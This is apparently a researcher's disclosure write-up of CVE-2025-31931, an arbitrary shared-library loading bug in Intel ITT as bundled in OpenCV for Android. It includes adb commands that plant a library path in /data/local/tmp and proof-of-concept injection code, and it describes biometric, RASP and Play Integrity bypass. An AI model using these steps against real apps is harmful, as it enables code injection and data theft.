CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10)

Intel® Instrumentation and Tracing Technology (ITT) is a profiling API that developers use to analyze performance. The ITT library is available for many platforms. It used by many Android applications, either directly, or indirectly (e.g: via precompiled OpenCV library for Android officially downloaded from OpenCV website).

Intel advisory is here: https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01337.html

A bug was found that allows ITT to load arbitrary shared library. This shared library can do anything (executing arbitrary code, exfiltrating data, etc). Fortunately the exploitation is not that easy (requires adb access either via PC or Shizuku app, so remote exploitation should not be possible). POC is available on my github, but read on to understand this bug.

OpenCV copies all ITT API files verbatim to their 3rdparty/ittnotify directory. ITT is always built for Android platform (can’t be disabled via CMake config):

OCV_OPTION(BUILD_ITT                "Build Intel ITT from source"
    (NOT MINGW OR OPENCV_FORCE_3RDPARTY_BUILD)
    IF (X86_64 OR X86 OR ARM OR AARCH64 OR PPC64 OR PPC64LE) AND NOT WINRT AND NOT APPLE_FRAMEWORK
)

Any Android application using OpenCV up until 4.10 is affected, 4.11 and later are safe. There is no warning about this CVE in OpenCV because they were released before this CVE was published and they have accidentally fixed the bug (see this) because someone wants to support OpenBSD (“3rdparty/ittnotify had not been updated until 9 years. To support OpenBSD, I suggest to update to latest release version v3.25.4“)

How I found the bug

I didn’t find this bug through source code review or fuzzing, I found this while doing a pentest on an internal application used by a bank. They asked me to specifically check the third party library they use for liveness detection (lets call this library X) because they plan to use it for their public app. When reverse engineering the library, I found that it it uses dlopen and can load an arbitrary library specified in /data/local/tmp/com.intel.itt.collector_lib_64.

The vulnerable old code can be seen here in function static const char* __itt_get_lib_name(void). First it constructs a string by concatenating /data/local/tmp with com.intel.itt.collector_lib_64 for android 64 bit or com.intel.itt.collector_lib_32 for Android 32 bit. Then it will read the content of the file.

From the source code, it is not very clear that this code will load arbitrary library

It is much more visible when the code is compiled, then disassembled: param1 is assigned value from __itt_get_lib_name

And then it is assigned to pcVar2, then it is loaded using dlopen

You can see the fix by looking at this commit. They completely remove the functionality, so the fix is complete.

At first I thought that this is a bug in the library X itself, then after searching on github, I found that it was from Intel ITT. After further investigation, library X doesn’t use ITT library directly, it was from OpenCV that they use. The default statically linked OpenCV library was vulnerable.

After having a slight problem reporting this bug to Intel last year, they finally accepted it and gave me 1500 USD. To save everyone’s time: if you have a bug in their open source component, report it via intigriti. I found out later that many other app by the same bank also used OpenCV with the same bug.

Exploiting The Bug

To test that we can really load an arbitrary .so, i tried loading a library from /data/local/tmp, it doesn’t work because of SELinux. After reading The Mystique exploit (2002), i realized that: android allows loading a shared library from *any* app if we know the path.

So to test, we need:

  • A vulnerable app (The very first OpenCV from version 4.10: Camera Preview example is enough)
  • An app containing dynamic library to load (the exploit app, we need to code this), with extractNativeLibs set to true (see my other post if you need to know why).

After installing both apps, we need to know where our exploit app is located:

adb shell pm path com.tinyhack.cve_2025_31931

This will print path to base.apk, we just need to replace base.apk with lib/arm64/lib_cve_2025_3191.so. Then we create /data/local/tmp/com.intel.itt.collector_lib_64 using adb shell

echo -n /data/xxx/yyyy/lib/arm64/lib_cve_2025_3191.so > /data/local/tmp/com.intel.itt.collector_lib_64

Please note:

  • use -n to prevent newline inside the file
  • make sure path is correct
  • make sure filename exactly as mentioned (com.intel.itt.collector_lib_64 )

A simple Proof Of Concept (POC)

To perform an action when a library is loaded, we can write a simple code:

#include <stdio.h>
#include <android/log.h>
#include <unistd.h>

__attribute__((constructor))
extern "C" void myinit() {
    printf("JOE-INJECT Library loaded");
    __android_log_print(ANDROID_LOG_VERBOSE,"JOE-INJECT", "Library Loaded");
}

If the library is loaded, then we will see JOE-INJECT Library Loaded using adb logcat.

A better POC

I extended the POC to do several things:

  • Get current package name of the android app, this is done by reading /proc/self/cmdline so we know for sure *which* app is vulnerable
  • We want to report this for any vulnerable app: I used to methods: via telegram bot, and via Android toast

The telegram method doesn’t work if the app doesn’t have internet access permission (such as the opencv samples), so thats why I added the Toast method.

POC

To be able to show a toast, we will need to use JNI Api. To be able to use JNI, we need access to JNIEnv, and to get this, we need it from the JavaVM. For API Level 31, we can directly use JNI_GetCreatedJavaVMs (see this Stack Overflow question). To make it work on previous android versions we can use :

typedef jint (*JNI_GetCreatedJavaVMs_t)(JavaVM **vmBuf, jsize bufLen, jsize *nVMs);
JNI_GetCreatedJavaVMs_t JNI_GetCreatedJavaVMs_ = (JNI_GetCreatedJavaVMs_t)dlsym(dalvik, "JNI_GetCreatedJavaVMs");
jsize nVMs = 0;
JavaVM* buffer[1];
buffer[0] = 0;
JNI_GetCreatedJavaVMs_(buffer, 1, &nVMs);

POC is available here:

https://github.com/yohanes/POC-CVE-2025-31931

To make it easy for anyone to test, you can use precompiled one on the release tab. The precompiled one doesn’t have telegram API key set, so it will only display a toast. You can recompile the library (or hex patch the .so) to use your telegram key

Instruction:

  • install the app
  • launch the app, copy the nativelib file path using copy button
  • using adb, create the /data/local/tmp/com.intel.itt.collector_lib_64, fill the content with the path we got
  • launch test vulnerable app, it should show a toast
Example vulnerable app

Impact

The impact of this bug is usually limited because exploitation is not easy, we need to:

  • Have adb access via PC, or have access to Shizuku (if the user installed this, and we are allowed by the user)
  • Have the library loaded. In my case: the library wasn’t loaded until we do face verification

But once you can drop this library, and created the /data/local/tmp/com.intel.itt.collector_lib_64, then you suddenly can exfiltrate any data or run arbitrary code from all affected apps installed (not just targeting a single app).

In my case the bank considers that my exploit has high severity because of several reasons:

  • I was able to inject arbitrary code that can bypass their biometric relatively easily (no rooted phone needed).
  • I can bypass their RASP (Runtime Application Self-Protection) that checks for various injection tools/libraries (such as Frida, LSPosed, Zygisk, etc)
  • It can bypass Play Integrity check
  • It is persistent (works even after reinstalling the vulnerable app, works after full Android reboot)
  • It works in any Android version

Happy Bug Hunting

For bug hunters: there are quite a lot of Android apps out there using OpenCV. By installing the POC and setting up the /data/local/tmp/com.intel.itt.collector_lib_64, you just need to wait until one of the app that you use loads the library. Note: you can also just scan for the string com.intel.itt.collector_lib_64 in an Android APK (extract it first) to check if the APK is vulnerable.

You may get a bug bounty for important apps. If you do get some bounties, please consider helping my friend’s gofundme for her cancer treatment.

For developers: if you are using OpenCV on Android, update your OpenCV version ASAP.

Leave a Reply

Your email address will not be published. Required fields are marked *